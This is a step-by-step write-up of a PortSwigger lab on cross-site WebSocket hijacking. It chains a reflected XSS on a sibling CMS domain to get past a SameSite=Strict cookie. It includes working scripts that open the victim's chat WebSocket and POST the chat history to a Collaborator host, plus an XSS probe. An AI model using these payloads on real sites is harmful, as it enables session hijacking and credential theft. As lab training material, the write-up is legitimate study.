The lab
here is how portswigger describes it
This lab's live chat feature is vulnerable to cross-site WebSocket hijacking (CSWSH). To solve the lab, log in to the victim's account.
To do this, use the provided exploit server to perform a CSWSH attack that exfiltrates the victim's chat history to the default Burp Collaborator server. The chat history contains the login credentials in plain text.
the last lab bypassed a strict cookie with the site's own redirect, and this one is strict again but the target is a live chat over websockets and the way in is a sibling domain that counts as the same site. this is the longest lab in the series, so we will take it slow
The idea#
two quick concepts first because the whole lab rests on them
websocket is a different shape of connection from normal web traffic. usually your browser asks for something and the server answers one exchange and done. a websocket instead opens a single connection that stays open, and once it is open either side can send messages whenever it likes the server can even push to you without being asked. that is what powers live chat it starts with an ordinary looking request called the handshake that then upgrades to the websocket protocol and its address starts with wss:// instead of https://
cross site websocket hijacking or cswsh is basically csrf for that handshake if the only thing authenticating the connection is your cookies, and there is no unguessable token then a page on another site can open a websocket to the target from your browser the browser attaches your cookies just like on any request, and now the attacker's script is chatting with the target on your authenticated connection. in this lab that means asking the chat for its history and quietly copying every message out to a server we control
Step 1 - Find the chat and its handshake#
i opened the live chat sent a couple of messages and then went to burp's http history and filtered for the /chat endpoint to find the websocket handshake.

the handshake carries no csrf token or anything else unpredictable which is the first sign it could be hijacked as long as we can get the session cookie sent along with it. in the websockets history you can also see that refreshing the page makes the browser send READY and the server reply with the whole chat history which is exactly the data we want to steal.
Step 2 - Build and test the CSWSH script#
this part needs burp professional for collaborator which gives us a server that logs anything sent to it, perfect for catching the stolen history. i grabbed a collaborator address and put this script on the exploit server
<script>
var ws = new WebSocket('wss://your-lab-id.web-security-academy.net/chat')
ws.onopen = function() {
ws.send("READY")
}
ws.onmessage = function(event) {
fetch('https://your-collaborator-payload.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data})
}
</script>
it opens a websocket to the chat, sends READY once the connection is up, and for every message that comes back it posts the contents to our collaborator. delivering it to ourselves the collaborator does receive a connection, so the script works and the websocket opens

Step 3 - See why strict blocks the real attack#
there is a catch though find that handshake in the http history, the /chat request your script just triggered, and you will notice the session cookie was not sent with it. the reason is in the login response the site sets the session cookie with SameSite=Strict ;(
SameSite=Strict tells the browser only attach this cookie when the request starts from my own site never from anywhere else our script is running on the exploit server which is a different site so the browser holds the cookie back the websocket opens as an anonymous guest instead of as the victim, and the history it hands back is empty. so the hijack technically works it just is not authenticated as anyone useful to fix that we need our script to run somewhere the browser will treat as the same site as the chat
Step 4 - Find sibling domain to run our script#
here is the trick that names the lab the browser does not decide same site by the full hostname it decides by the registrable domain the part someone could actually register like web-security-academy.net, ignoring whatever is in front of it. so two different hostnames under that same registrable domain count as the same site
digging through the proxy history responses for things like scripts and images carry an Access-Control-Allow-Origin header that points to sibling domain, cms-your-lab-id.web-security-academy.net

visiting it there is a login form

the username is echoed straight back in the invalid username message like Invalid username: carlos and because it is reflected without escaping, it is vulnerable to reflected xss. a quick <script>alert(1)</script> in the username fires the alert

so we have a way to run our own javascript on the sibling domain and because that domain shares the registrable domain with the chat, anything it does counts as same site. sending the login request to repeater and switching it to a get confirms the same reflection works over a get, which means we can trigger it just by sending someone a link.
Step 5 - Deliver the CSWSH through the sibling domain#
now we chain it we take the exact cswsh script from step 2 url encode the whole thing and feed it as the username to the cms login so its reflected xss runs our script for us but this time from inside the site. here is the page we host on the exploit server.
<script>
document.location = "https://cms-your-lab-id.web-security-academy.net/login?username=your-url-encoded-cswsh-script&password=anything"
</script>
walking through what happens, when the victim opens our page it immediately sends their browser to the cms login url, with our whole cswsh script sitting in the username parameter. the cms page reflects that username into its invalid username message without escaping, so our script runs, and it runs on cms-your-lab-id.web-security-academy.net. that hostname shares the registrable domain with the chat, so when our script opens the websocket to the main site the browser sees a same site request and finally attaches the SameSite=Strict session cookie. the password can be anything, the login failing is fine we only need the username to be reflected. now the websocket opens as the real victim, the server sends back their full chat history, and our onmessage posts every line to collaborator.

step 6 - read the credentials and log in#
back in collaborator one of the incoming http requests carries the exfiltrated chat, and in it are the victim's username and password in plain text.
log in with those, and we are in the victim's account.

with this, the lab is solved!
